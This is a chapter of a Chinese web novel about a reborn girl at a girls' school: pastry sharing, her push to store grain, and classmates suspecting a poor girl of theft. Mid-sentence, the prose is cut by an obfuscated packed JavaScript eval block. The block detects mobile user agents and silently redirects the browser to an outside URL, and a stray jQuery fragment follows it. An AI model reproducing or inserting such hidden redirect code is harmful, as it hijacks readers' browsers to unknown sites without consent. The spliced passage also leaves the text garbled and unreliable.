18.只敬罗衣不敬人
作品:《重生之耕读人家》 厨房一共做了六样点心,枣泥山药糕、艾草糕、萝卜糕、黄米凉糕、栗子核桃糕、黑芝麻糕,江氏还寻了个海棠纹样的大红提盒,帮女儿装好。
好家伙,盈娘已经觉得自己带的多了,结果次日去闺塾,见到庄雨眠带的是水晶山楂糕、龙凤团糕,都是极其精致的,装了满满两个提盒,本以为夸张自家的在这里只能算中等。
杨蕙看着庄雨眠家的点心,惊讶道:“这些咱们本地怎地没见过?”
庄雨眠淡淡的道:“这是南京常吃的。”
提到南京,大家又问顾妙静,毕竟她爹在南京坐监,顾妙静其实也没吃过什么南京点心,但是大家都问她,她为了显示自己也是见过世面,连忙道:“是啊,我爹也说过的。”
盈娘笑道:“真羡慕你们能去南京那样繁华的地方,我长这么大,还从未出过云水镇呢。不过,我爹爹打算端午带我去省城看龙舟,到时候回来与你们讲见闻。”
作为盈娘的好友,卢窈窈头一个响应:“我一坐船就头晕,每日上学都只能坐江州车,羡慕的紧。”
“放心,到时候我带好玩儿的分给你。”盈娘笑着捏了捏卢窈窈的脸。
她二人正说的热闹,坐在后排的李元淑看了舒念慈一眼,小声道:“你娘什么都没给你准备么?这也太过了。”
舒念慈叹道:“我在后母底下讨生活,不挨骂都好了,平日回去还要帮着打络子浆洗衣裳,我多做些,我爹也少挨骂。若非姑母体恤,我是片刻也不得闲。”
“既这么着,我反正也带的多,到时候匀一屉你就是了,日后你若缺什么,只管悄悄同我说一声。”李元淑也是替她周全。
舒念慈感激不已:“都不知道怎么谢过李姐姐了。”
李元淑浑然不放在心上。
另一边的娄娇爱正在抱怨:“我在家里我娘是不许我吃这些冷冰冰的东西的,生怕我吃了拉肚子。”
娄娇爱和盈娘隔着过道,她生的很漂亮,就是说话像撒娇,总是娇滴滴的。盈娘倒是没什么感觉,可庄雨眠非常讨厌她,甚至罕见的转过头和盈娘她们道:“又来了。”
“别管她了。”盈娘笑道。
娄娇爱只是娇滴滴的,她只要没有妨碍别人,根本不必理会。
殊不知庄雨眠却愈发生气,起身出去透透气,还是杨蕙转过头和她们道:“你知道庄雨眠为何这般生气么?”
盈娘和卢窈窈都纷纷摇头,杨蕙小声道:“我听人说庄御史以前也接了雨眠和她娘到南京的,可是庄夫人过不惯南京的生活,又不懂得交际,她爹还有个姨娘,趾高气昂,很是得宠,就是那样娇滴滴的,他们母女就回来了。嗳,我同你们说了,你们可别往外说。”
秘密超过第三个人知道那就不叫秘密了,可盈娘和卢窈窈也不是多嘴之人,自然答应下来。
到了中午,大家交换食物吃,卢窈窈爱吃盈娘家里的萝卜糕,又把她家做的茯苓饼、八珍糕给盈娘。
盈娘指着饼道:“这些都是补品吧,我爹爹以前从武昌府给我们带了参苓补糕,就是用人参茯苓做的。”
“是我娘常常吃的,就让我带来了。”卢窈窈笑道。
杨蕙家里的云片糕好吃,郑荆玉家的核桃酥也是一绝,至于盈娘家里的萝卜糕和黑芝麻糕大家也喜欢吃。
寒食节也就这般过去了,没想到次日郑荆玉早上来的时候说昨日放桌上的玉佩找不到了,盈娘赶紧帮忙找,又道:“你是不是放在你昨日穿的衣裳荷包里了?会不会根本就不在学堂。”
郑荆玉叹气:“晚上回去再找找,这可是我外公送给我的,保佑我平安的。”
今日天气有点晒,冯鲤来接女儿的时候,特地拿了一片荷叶给女儿当帽子。
“爹爹,我们今天走着回去吗?”盈娘仰头望着他爹。
冯鲤点头:“是啊,今儿天气好,也该走走好。马车套来套去也麻烦的紧,再说了,爹爹也要带你去书肆挑两本描红册子。”
即便前世识字,但这辈子开始学写字,才知道真正写字和胡乱识得几个字的区别。写字也没有别的诀窍,就是多写。
回到家里的时候,早已饥肠辘辘,江氏让丫头打了水来,让盈娘洗手了,才道:“肚子饿坏了吧,还有一个菜,就可以吃饭了。我就怕太早做出来了,菜都凉了。”
盈娘快速洗了手,又吸了吸鼻子:“娘亲,今日做了什么菜啊?”
“多半都是你爱吃的,这几年风调雨顺的,什么没有。”自从债还清了,家里日子好过许多,江氏也是愈发从容了。
盈娘却想起一件事情,她当年虽然不知道自己几岁,可是知道自己是永熙六年被卖进傅家的。永熙六年原本拐子是准备把她作瘦马养的,后来就是听闻是长江发大水,粮价极高,拐子们也不得不把她转手卖了。
永熙六娘不就是明年么?
她家每年的粮食几乎都悉数卖了,只留些口粮,这也是没办法的事情,家里急着用钱,只能如此了。
可现在不能再这样下去了,盈娘吃了一口菜,就道:“爹,娘,上回你们说我那院子的东西厢房,和东边后院都是拿来放粮食的,怎地我看里边都没什么粮食?我的几位同窗家里现在人家都买粮食,填的满满的呢。”
冯鲤听了也是一叹:“我也想多留些以备不时之需,只是咱们家里总不得富余的。”
“爹,如今家里已经好了许多了,还是多储存些粮食吧,女儿日后不要月例呢。韦应物的《观田家》里还说‘仓禀无宿储,徭役犹未已。’女儿学到这首诗的时候,就想祖母也常常说手里有粮,心里不慌。”
有些事情冯鲤心里也未必不知道,可家里总是这里那里要用钱,总怀着侥幸心理。但女儿这么小,都知道这些,自己也的确要重视了:“盈娘说的也有道理,今年的粮食我们多留些。”
原先家里是四十亩种棉花,只可惜织布的人少,冯鲤就只用二十亩种棉花,六十亩种粮食,湖广
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217454|197100||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的蒸稻米多是卖往杭州、苏州这些江南地方的粮食米麦豆行或者六陈店。
既然冯鲤有谱了,盈娘也放下心来,吃完饭,先去书房描红背书,又听素馨道:“姑娘写完功课准备做什么?”
“我想先在耳房沐浴,沐浴完了到楼上歇息去。”盈娘倒是想快些躺着,她又对素馨道:“我早些安寝,你也早些能把事情做完。”
素馨笑道:“看您说的,您读书的时候,婢子可是都在歇息。”
盈娘自己曾经就是做丫头出身,她看着素馨道:“我现下习得了字,到时候也教你,至少把常用字认全。”
素馨连忙道:“婢子虽然也想认,可一看书就头昏脑涨的。”
“别这么说,多识得一些字,将来总不至于做睁眼瞎。”盈娘笑道。
主仆二人说笑几句,素馨让除非的余妈妈挑了热水来,盈娘在耳房洗完澡后,就换了身家常衫子上楼歇息。
二楼很宽敞,从楼梯上去,堂屋里放着一张长几,两把玫瑰椅,再有一张梳妆台,绣架,进去里面就是床和衣柜,堂前是栏杆,栏杆有一条窄廊,凭栏可以欣赏花木。从堂屋往东就是她的住处,里面放着床和衣柜美人凳洗面架等等,南北双窗,很是透亮,闺房后面一道门推开,便是净房,夜里不用下楼去前面如厕。
上到床上,盈娘就昏昏欲睡。
见素馨还问起:“小姐,您说郑小姐的玉佩万一找不到了如何是好?”
“找不到了便找不到了,横竖也不是咱们拿的,与咱们不相干。”盈娘道。
素馨小声道:“找不到也就罢了,就怕小梅跟着吃瓜落,郑家虽然不是严苛的人家,可规矩却多的很。”
“你也别往坏处想,万一郑荆玉今日回去找到了呢?”盈娘道。
素馨释然:“您说的也是。”
次日,因为早上盈娘想吃鳝丝面多等了会儿,正好踩点到的,到的时候,见郑荆玉哭丧着脸,忙问道:“你的玉佩还未找到么?”
郑荆玉唉声叹气道:“家里找遍了也没有。”
“这么说来,你有可能在学里掉的了?”娄娇爱插嘴。
盈娘坐下来,先把自己的描红册交给课长,又独自背书,卢窈窈却努努嘴道:“她们怀疑是舒念慈偷了。”
“怀疑?她们有证据么?没证据的话,可不能乱说。”盈娘道。
杨蕙从前面转过来道:“冯持盈,你看咱们这里谁最缺钱,谁最寒酸,不就是那位么。”
盈娘反驳了一通:“这也不能证明是人家拿的,得先问清楚她的玉佩是何时不见的,不见的那段工夫,有谁进出了,一一询问才行啊。”
说完,她见杨蕙不置可否,才想到冯鲤那日让她点心多戴些的话,世人真的只敬罗衣不敬人。舒念慈就因为穷,就被怀疑……
甚至不需要任何证据!
小孩子们很直白,直接表现出来,那些大人们面子功夫做的好一些,心里恐怕也会这般想。

